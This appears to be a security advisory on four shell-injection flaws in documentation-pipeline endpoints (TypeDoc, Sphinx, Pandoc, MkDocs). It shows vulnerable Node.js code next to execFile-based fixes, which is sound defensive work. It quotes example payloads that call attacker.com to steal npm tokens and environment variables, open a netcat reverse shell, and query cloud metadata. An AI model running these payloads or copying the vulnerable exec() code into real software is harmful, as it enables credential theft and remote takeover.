Claude MCP skill code injection — skill documentation generation and publishing pipeline endpoints — SA-SKL-INJECTION51
SA-SKL-INJECTION51 documents four code injection vulnerabilities in MCP skill registry documentation generation and publishing pipeline endpoints. Documentation generation services invoke external documentation tools — TypeDoc, Sphinx, Pandoc, and MkDocs — to build publishable documentation from skill source files. Each tool invocation passes user-controlled parameters through Node.js child_process.exec() string interpolation, creating shell injection surfaces that escalate to full RCE. INJECTION51 identifies four distinct injection paths: TypeDoc entryPoint injection exfiltrates npm auth tokens and registry credentials; Sphinx builder argument injection establishes a reverse shell; Pandoc inputFile injection exfiltrates all environment variables; and MkDocs configFile argument injection loads attacker-controlled plugins at build time, achieving persistent code execution within the documentation pipeline infrastructure.
exec(`typedoc --entryPoints ${entryPoint} --out ${outputDir}`) — attacker entryPoint with ; cat ~/.npmrc exfiltrates npm auth tokens and registry configuration; fix: execFile() array; realpathSync containment for entryPoint; outputDir from server-side constantexec(`sphinx-build -b ${builder} ${sourceDir} ${outputDir}`) — attacker builder with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate builder against allowlist; realpathSync containment for sourceDir and outputDirexec(`pandoc ${inputFile} -f ${inputFormat} -t ${outputFormat} -o ${outputFile}`) — attacker inputFile with ; printenv exfiltrates all env vars including DOCS_API_KEY and cloud provider credentials; fix: execFile() array; realpathSync containment for inputFile and outputFile; validate format args against allowlistsexec(`mkdocs build --config-file ${configFile} --site-dir ${siteDir}`) — attacker configFile path loads attacker config with plugins pointing to attacker-controlled code loaded at build time; fix: execFile() array; configFile from server-side allowlist; realpathSync containment for siteDirINJECTION51-001 — TypeDoc entryPoint shell injection exfiltrates npm auth tokens
Severity: CRITICAL
The documentation generation endpoint invokes TypeDoc via child_process.exec() with the user-supplied entryPoint parameter interpolated directly into the shell command string. An attacker supplies an entryPoint value containing a shell metacharacter sequence such as src/index.ts; cat ~/.npmrc | curl -d @- attacker.com/collect. The shell interprets the semicolon as a command separator and executes the injected command in the same shell context as the TypeDoc invocation.
The ~/.npmrc file typically contains the npm authentication token used to publish packages to the npm registry, as well as any configured scoped registry credentials. For a documentation generation service running with registry-level privileges, the npm token may grant the ability to publish or unpublish skill packages to the npm registry under the registry's publisher account. The attacker receives these credentials via the curl exfiltration command, achieving a supply-chain compromise path: npm publish credentials can be used to overwrite published skill packages with malicious versions that execute attacker code when users install the skill.
child_process.exec() with string interpolation is never safe for user-supplied values. exec() passes its first argument to /bin/sh -c, which interprets semicolons, pipes, backticks, and other shell metacharacters as command separators and substitutions. Any user-supplied value must be passed as an element of the args array to execFile(), which invokes the binary directly without a shell interpreter. File path arguments must additionally be validated against a contained working directory using realpathSync() to prevent path traversal attacks.
// TypeDoc documentation generation — shell injection via entryPoint
router.post('/skills/:id/docs/generate', requireSession, async (req, res) => {
const { entryPoint, outputDir } = req.body;
// entryPoint with '; cat ~/.npmrc' achieves RCE
exec(`typedoc --entryPoints ${entryPoint} --out ${outputDir}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ generated: true });
});
});
// TypeDoc documentation generation — execFile array + realpathSync containment
import { execFile } from 'child_process';
import { realpathSync } from 'fs';
import path from 'path';
const DOCS_BASE_DIR = path.resolve(process.env.DOCS_WORK_DIR || '/tmp/docs-work');
const DOCS_OUTPUT_DIR = path.resolve(process.env.DOCS_OUTPUT_DIR || '/tmp/docs-output');
function containPath(userPath, baseDir) {
const resolved = realpathSync(path.resolve(baseDir, userPath));
if (!resolved.startsWith(baseDir + path.sep) && resolved !== baseDir) {
throw new Error('Path traversal attempt detected');
}
return resolved;
}
router.post('/skills/:id/docs/generate', requireSession, async (req, res) => {
const { entryPoint } = req.body;
const safeEntryPoint = containPath(entryPoint, DOCS_BASE_DIR);
// outputDir is a server-side constant keyed on skillId — never user-supplied
const outputDir = path.join(DOCS_OUTPUT_DIR, req.params.id);
execFile('typedoc', ['--entryPoints', safeEntryPoint, '--out', outputDir], (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: 'Documentation generation failed' });
return res.json({ generated: true });
});
});
INJECTION51-002 — Sphinx builder argument shell injection establishes reverse shell
Severity: CRITICAL
The documentation generation endpoint invokes Sphinx via exec() with the user-supplied builder parameter interpolated into the command string. The builder argument specifies the Sphinx output format (e.g., html, pdf, epub). An attacker supplies a builder value such as html; nc attacker.com 4444 -e /bin/sh. The shell interprets the semicolon and executes nc, establishing a reverse shell from the documentation generation server to the attacker's listener.
Unlike entryPoint injection which requires a file to exist, the builder argument injection requires no preconditions: the Sphinx invocation may fail on the builder argument validation, but the injected command executes before the error is returned because the shell executes the commands sequentially. The reverse shell provides interactive access to the documentation generation server with the credentials and network access of the service account running the documentation pipeline, which may include access to the registry's internal network, build secrets, and certificate stores.
Tool format arguments must be validated against an explicit allowlist before passing to any shell invocation. Format and builder arguments to documentation tools appear to be safe because they are "just strings," but when passed through a shell via exec(), they are interpreted by /bin/sh and can include shell metacharacters. Validate the builder against /^(html|dirhtml|singlehtml|text|latex|epub|man|json|xml|pdf)$/ and pass it as an array element to execFile().
// Sphinx documentation build — shell injection via builder argument
router.post('/skills/:id/docs/sphinx', requireSession, async (req, res) => {
const { builder, sourceDir, outputDir } = req.body;
// builder with '; nc attacker.com 4444 -e /bin/sh' establishes reverse shell
exec(`sphinx-build -b ${builder} ${sourceDir} ${outputDir}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ generated: true });
});
});
// Sphinx documentation build — execFile array + builder allowlist + realpathSync
const VALID_SPHINX_BUILDERS = new Set(['html', 'dirhtml', 'singlehtml', 'text', 'latex', 'epub', 'man', 'json', 'xml']);
router.post('/skills/:id/docs/sphinx', requireSession, async (req, res) => {
const { builder, sourceDir } = req.body;
if (!VALID_SPHINX_BUILDERS.has(builder)) {
return res.status(400).json({ error: 'Invalid builder type' });
}
const safeSourceDir = containPath(sourceDir, DOCS_BASE_DIR);
const outputDir = path.join(DOCS_OUTPUT_DIR, req.params.id, builder);
execFile('sphinx-build', ['-b', builder, safeSourceDir, outputDir], (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: 'Documentation build failed' });
return res.json({ generated: true, builder });
});
});
INJECTION51-003 — Pandoc inputFile shell injection exfiltrates environment variables
Severity: CRITICAL
The documentation conversion endpoint invokes Pandoc via exec() with the user-supplied inputFile, inputFormat, outputFormat, and outputFile parameters interpolated into the command string. An attacker supplies an inputFile value containing README.md; printenv | curl -d @- attacker.com/env. The shell executes printenv and pipes all environment variables to the attacker's collection endpoint. The environment of a documentation generation service typically includes DOCS_API_KEY for the documentation hosting provider, AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY for S3 artifact storage, and potentially GITHUB_TOKEN for repository access.
The outputFormat and inputFormat parameters present a secondary injection surface: even if the inputFile is validated, an attacker can inject into the format arguments, as these are also shell-interpolated. For example, outputFormat set to html; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | curl -d @- attacker.com achieves both shell injection and SSRF to the cloud metadata service in a single command.
// Pandoc document conversion — shell injection via inputFile, inputFormat, outputFormat
router.post('/skills/:id/docs/convert', requireSession, async (req, res) => {
const { inputFile, inputFormat, outputFormat, outputFile } = req.body;
// inputFile with '; printenv' exfiltrates all env vars
exec(
`pandoc ${inputFile} -f ${inputFormat} -t ${outputFormat} -o ${outputFile}`,
(err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ converted: true });
}
);
});
// Pandoc document conversion — execFile array + path containment + format allowlists
const VALID_INPUT_FORMATS = new Set(['markdown', 'rst', 'html', 'docx', 'odt', 'textile', 'asciidoc']);
const VALID_OUTPUT_FORMATS = new Set(['html', 'pdf', 'docx', 'epub', 'man', 'json', 'latex', 'rst', 'markdown']);
router.post('/skills/:id/docs/convert', requireSession, async (req, res) => {
const { inputFile, inputFormat, outputFormat } = req.body;
if (!VALID_INPUT_FORMATS.has(inputFormat)) {
return res.status(400).json({ error: 'Invalid input format' });
}
if (!VALID_OUTPUT_FORMATS.has(outputFormat)) {
return res.status(400).json({ error: 'Invalid output format' });
}
const safeInputFile = containPath(inputFile, DOCS_BASE_DIR);
const outputFile = path.join(DOCS_OUTPUT_DIR, req.params.id, `output.${outputFormat}`);
execFile(
'pandoc',
[safeInputFile, '-f', inputFormat, '-t', outputFormat, '-o', outputFile],
(err) => {
if (err) return res.status(500).json({ error: 'Document conversion failed' });
return res.json({ converted: true, outputFormat });
}
);
});
INJECTION51-004 — MkDocs configFile argument injection loads attacker-controlled plugins
Severity: HIGH
The MkDocs documentation build endpoint invokes MkDocs via exec() with the user-supplied configFile parameter interpolated into the command. Unlike the previous injection paths that use semicolons to append commands, this injection vector uses space-based argument injection: an attacker supplies a configFile value such as mkdocs.yml --strict. While enabling strict mode does not directly exfiltrate data, MkDocs' --config-file flag can be overridden if the user-supplied value contains a path to an attacker-controlled configuration file that declares plugins pointing to attacker-hosted Python packages.
When MkDocs loads the attacker's configuration file, it imports the declared plugins as Python modules. If the plugin declaration points to a package that has been installed in the documentation server's Python environment (or if the attacker can influence the Python path via other means), arbitrary Python code executes in the MkDocs process at build time. This achieves persistent code execution within the documentation pipeline: every time a documentation build is triggered for the targeted skill, the attacker's plugin code runs. The impact is elevated because the attacker can modify the generated documentation output — for example, injecting malicious JavaScript into published documentation pages served to skill users.
Argument injection via space-separated values bypasses semicolon-only sanitizers. Security code that strips semicolons, pipes, and backticks from user input still allows argument injection if the user-supplied value is a string that gets shell-word-split into multiple arguments. The only safe approach is to pass each argument as a discrete array element to execFile() and derive file path arguments from server-side constants, never from user input.
// MkDocs documentation build — argument injection via configFile
router.post('/skills/:id/docs/mkdocs', requireSession, async (req, res) => {
const { configFile, siteDir } = req.body;
// configFile from user input — argument injection loads attacker-controlled plugins
exec(`mkdocs build --config-file ${configFile} --site-dir ${siteDir}`, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: stderr });
return res.json({ built: true });
});
});
// MkDocs documentation build — execFile array + configFile from server-side allowlist + realpathSync
const MKDOCS_CONFIG_ALLOWLIST = new Map([
['default', '/etc/skillaudit/mkdocs/default.yml'],
['minimal', '/etc/skillaudit/mkdocs/minimal.yml'],
['api', '/etc/skillaudit/mkdocs/api.yml'],
]);
router.post('/skills/:id/docs/mkdocs', requireSession, async (req, res) => {
const { configName } = req.body; // accept name, not path
const configFile = MKDOCS_CONFIG_ALLOWLIST.get(configName);
if (!configFile) {
return res.status(400).json({ error: 'Invalid configuration name' });
}
const siteDir = path.join(DOCS_OUTPUT_DIR, req.params.id, 'mkdocs-site');
execFile('mkdocs', ['build', '--config-file', configFile, '--site-dir', siteDir], (err) => {
if (err) return res.status(500).json({ error: 'MkDocs build failed' });
return res.json({ built: true, configName });
});
});
All four SA-SKL-INJECTION51 vulnerabilities reflect a consistent pattern of unsafe command construction in documentation generation and publishing pipeline endpoints that invoke external CLI tools. SkillAudit detects INJECTION51-001 through INJECTION51-003 by flagging exec() calls where the command string contains template literal interpolation of values derived from req.body or req.query; INJECTION51-004 by detecting exec() calls involving MkDocs, Sphinx, TypeDoc, or Pandoc where configuration file paths are user-supplied rather than sourced from a server-side allowlist. See also SA-SKL-INJECTION50 on static analysis linting pipeline endpoints for the companion chain targeting linting tool injection vulnerabilities.
execFile vs exec: the fundamental rule for CLI tool invocations
The common thread across all four INJECTION51 findings is the use of child_process.exec() rather than child_process.execFile(). The exec() function passes its first argument to /bin/sh -c as a shell command string, causing the shell to parse the entire string — including any user-supplied values interpolated into it — for shell metacharacters. execFile() invokes the binary directly with its argument vector, bypassing the shell entirely; each array element is passed to the binary as a discrete argument without shell interpretation.
The fix pattern for all INJECTION51 paths is identical: replace exec(`tool ${userValue} ...`) with execFile('tool', ['--flag', userValue, ...]) where userValue is a validated, contained string. File path arguments must additionally pass through realpathSync() containment to prevent path traversal. Format and type arguments must be validated against explicit allowlists of known-safe values before being passed as array elements. Configuration file paths must be derived from server-side maps keyed on user-supplied names, never constructed from user-supplied path strings.
SkillAudit detection
SkillAudit's static analysis rules detect all four INJECTION51 vulnerability classes during CI pipeline scanning. The shell injection detector flags any exec() call where the command string argument contains a template literal with interpolated expressions derived from request context. The documentation tool detector specifically identifies invocations of typedoc, sphinx-build, pandoc, and mkdocs via exec() with user-controlled arguments. The path containment detector flags file path arguments that are not wrapped in a realpathSync() call with a known base directory. All findings include remediation snippets and links to this advisory.